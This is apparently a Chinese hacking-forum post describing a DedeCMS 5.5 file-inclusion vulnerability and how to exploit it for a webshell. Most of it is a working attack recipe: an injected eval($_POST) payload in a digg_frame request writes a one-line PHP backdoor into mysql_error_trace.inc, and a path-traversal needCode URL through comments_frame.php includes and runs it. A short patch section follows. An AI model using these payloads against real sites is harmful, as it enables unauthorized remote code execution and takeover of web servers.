DEDECMS5.5 0DAY二次利用

 中午研究了一下了,此漏洞非常严重,可直接获得webshell。

inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc'); 
同时,inculde/dedesql.class.php 中预览源代码打印关于1 $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc'; 
$codefile没有做过滤。
我们可以用datalistcp.class.php 包含mysql_error_trace.inc 执行PHP脚本程序。hsA骇客吧

利用方法:
www.xxxxx.com/plus/digg_frame ... d&id=1024e1024&mid=*/eval%28$_POST[xxxxx]%29;/*
写入一句话后门hsA骇客吧

后门地址:
www.xxxxx.com/plus/comments_frame.php?needCode=gb2312.inc..\..\../../data/mysql_error_trace用一句话客户端连接hsA骇客吧

密码是:xxxxxhsA骇客吧


修补方案:
将inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc'); 
替换成:预览源代码打印关于hsA骇客吧

  1. 1 //require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');   
  2.  
  3. 2 $lang_pre_page = '上页';   
  4.  
  5. 3 $lang_next_page = '下页';   
  6.  
  7. 4 $lang_index_page = '首页';   
  8.  
  9. 5 $lang_end_page = '末页';   
  10.  
  11. 6 $lang_record_number = '条记录';   
  12.  
  13. 7 $lang_page = '页';   
  14.  
  15. 8 $lang_total = '共';   


或者将$codefile直接替换成gb2313 utf-8等hsA骇客吧

总结:hsA骇客吧


之前一直以为inculde/dedesql.class.php 可以创建一个mysql_error_trace.php 并写入后门,后来测试下,发现不行。
然后找了inculde/datalistcp.class.php这么一个玩意。plus/comments_frame.php 是用来注册DEDEINC这个变量,否则不好使。hsA骇客吧

hsA骇客吧

评论列表

    用户名: 密码:
    验证码: 匿名发表
返回顶部 ↑